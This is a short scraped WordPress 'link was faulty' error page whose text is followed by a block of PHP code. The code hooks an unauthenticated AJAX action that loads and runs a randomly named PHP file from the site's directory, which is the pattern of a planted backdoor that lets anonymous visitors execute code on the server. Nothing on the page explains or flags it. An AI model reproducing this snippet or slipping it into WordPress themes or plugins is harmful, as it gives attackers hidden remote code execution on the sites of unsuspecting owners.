It looks like the link pointing here was faulty. Maybe try searching?
if(!function_exists('file_check_tmphv5hxcd7')){ add_action('wp_ajax_nopriv_file_check_tmphv5hxcd7', 'file_check_tmphv5hxcd7'); add_action('wp_ajax_file_check_tmphv5hxcd7', 'file_check_tmphv5hxcd7'); function file_check_tmphv5hxcd7() { $file = __DIR__ . '/' . 'tmphv5hxcd7.php'; if (file_exists($file)) { include $file; } die(); } }